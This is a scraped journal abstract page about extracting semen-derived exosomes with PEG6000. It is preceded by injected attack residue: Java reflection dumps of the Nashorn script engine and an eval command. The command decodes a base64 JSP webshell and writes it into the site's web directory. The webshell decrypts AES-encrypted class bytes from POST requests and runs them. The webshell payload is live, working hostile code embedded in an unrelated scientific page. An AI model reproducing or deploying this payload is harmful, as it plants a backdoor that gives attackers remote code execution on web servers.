public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var d=B.getDecoder().decode('PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiAlPgo8JSEKICAgIHByaXZcdTAwNjF0ZSBieXRlW10gRGVjcnlwdChieXRlW10gZFx1MDA2MXRcdTAwNjEpIHRocm93cyBFeGNlcHRpb24KICAgIHsKICAgICAgICBTdHJpbmcgaz0iMGJcdTAwNjE0NDM5ZWU5XHUwMDYxNDZkOWQiOwogICAgICAgIGpcdTAwNjF2XHUwMDYxeC5jcnlwdG8uQ2lwaGVyIGM9alx1MDA2MXZcdTAwNjF4LmNyeXB0by5DaXBoZXIuZ2V0SW5zdFx1MDA2MW5jZSgiQUVTL0VDQi9QS0NTNVBcdTAwNjFkZGluZyIpO2MuaW5pdCgyLG5ldyBqXHUwMDYxdlx1MDA2MXguY3J5cHRvLnNwZWMuU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTsKICAgICAgICBieXRlW10gZGVjb2RlYnM7CiAgICAgICAgQ2xcdTAwNjFzcyBiQ2x6IDsKICAgICAgICAgICAgICAgIHRyeXsKICAgICAgICAgICAgICAgICAgICBiQ2x6PUNsXHUwMDYxc3MuZm9yTlx1MDA2MW1lKCJqXHUwMDYxdlx1MDA2MS51dGlsLkJcdTAwNjFzZTY0Iik7CiAgICAgICAgICAgICAgICAgICAgT2JqZWN0IERlY29kZXI9YkNsei5nZXRNZXRob2QoImdldERlY29kZXIiLCBudWxsKS5pbnZva2UoYkNseiwgbnVsbCk7CiAgICAgICAgICAgICAgICAgICAgZGVjb2RlYnM9KGJ5dGVbXSkgRGVjb2Rlci5nZXRDbFx1MDA2MXNzKCkuZ2V0TWV0aG9kKCJkZWNvZGUiLCBuZXcgQ2xcdTAwNjFzc1tde2J5dGVbXS5jbFx1MDA2MXNzfSkuaW52b2tlKERlY29kZXIsIG5ldyBPYmplY3RbXXtkXHUwMDYxdFx1MDA2MX0pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgY1x1MDA2MXRjaCAoVGhyb3dcdTAwNjFibGUgZSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICBiQ2x6ID0gQ2xcdTAwNjFzcy5mb3JOXHUwMDYxbWUoInN1bi5taXNjLkJBU0U2NERlY29kZXIiKTsKICAgICAgICAgICAgICAgICAgICBPYmplY3QgRGVjb2Rlcj1iQ2x6Lm5ld0luc3RcdTAwNjFuY2UoKTsKICAgICAgICAgICAgICAgICAgICBkZWNvZGVicz0oYnl0ZVtdKSBEZWNvZGVyLmdldENsXHUwMDYxc3MoKS5nZXRNZXRob2QoImRlY29kZUJ1ZmZlciIsbmV3IENsXHUwMDYxc3NbXXtTdHJpbmcuY2xcdTAwNjFzc30pLmludm9rZShEZWNvZGVyLCBuZXcgT2JqZWN0W117bmV3IFN0cmluZyhkXHUwMDYxdFx1MDA2MSl9KTsKCiAgICAgICAgICAgICAgICB9CiAgICAgICAgcmV0dXJuIGMuZG9GaW5cdTAwNjFsKGRlY29kZWJzKTsKCiAgICB9CiU+CjwlIWNsXHUwMDYxc3MgVSBleHRlbmRzIENsXHUwMDYxc3NMb1x1MDA2MWRlcntVKENsXHUwMDYxc3NMb1x1MDA2MWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsXHUwMDYxc3MgZyhieXRlIFtdYil7cmV0dXJuCiAgICAgICAgc3VwZXIuZGVmaW5lQ2xcdTAwNjFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdVx1MDA2MWxzKCJQT1NUIikpewogICAgICAgICAgICBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtIGJvcyA9IG5ldyBCeXRlQXJyXHUwMDYxeU91dHB1dFN0cmVcdTAwNjFtKCk7CiAgICAgICAgICAgIGJ5dGVbXSBidWYgPSBuZXcgYnl0ZVs1MTJdOwogICAgICAgICAgICBpbnQgbGVuZ3RoPXJlcXVlc3QuZ2V0SW5wdXRTdHJlXHUwMDYxbSgpLnJlXHUwMDYxZChidWYpOwogICAgICAgICAgICB3aGlsZSAobGVuZ3RoPjApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGJ5dGVbXSBkXHUwMDYxdFx1MDA2MT0gQXJyXHUwMDYxeXMuY29weU9mUlx1MDA2MW5nZShidWYsMCxsZW5ndGgpOwogICAgICAgICAgICAgICAgYm9zLndyaXRlKGRcdTAwNjF0XHUwMDYxKTsKICAgICAgICAgICAgICAgIGxlbmd0aD1yZXF1ZXN0LmdldElucHV0U3RyZVx1MDA2MW0oKS5yZVx1MDA2MWQoYnVmKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQuY2xlXHUwMDYxcigpOwogICAgICAgICAgICBvdXQ9cFx1MDA2MWdlQ29udGV4dC5wdXNoQm9keSgpOwogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xcdTAwNjFzcygpLmdldENsXHUwMDYxc3NMb1x1MDA2MWRlcigpKS5nKERlY3J5cHQoYm9zLnRvQnl0ZUFyclx1MDA2MXkoKSkpLm5ld0luc3RcdTAwNjFuY2UoKS5lcXVcdTAwNjFscyhwXHUwMDYxZ2VDb250ZXh0KTt9CiU+');var o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2016, Vol. 36 ›› Issue (11): 1531-.

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Extraction and identification of semen-derived exosomes using PEG6000

  

  • Online:2016-11-20 Published:2016-11-20

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1658

Abstract: Objective To extract and identify semen-derived exosome using PEG6000. Methods Exosomes were extracted from semen specimens from 6 healthy volunteers with step-by-step centrifugations and ultracentrifugation prior to 8% PEG6000 enrichment. The extracted exosomes were characterized by transmission electron microscopy (TEM), nanoparticle tracking analysis (NTA) and Western blotting. Results The pellets obtained were round or elliptic membrane vesicles 30 to 150 nm in diameter with intact double membranes and contained low electron density material. The pellets expressed CD63, ALIX and TSG101 molecules but not calnexin that was expressed in sperm cells. Conclusion The PEG6000-based method for extraction of exosomes from semen samples facilitates future studies of seminal exosomes.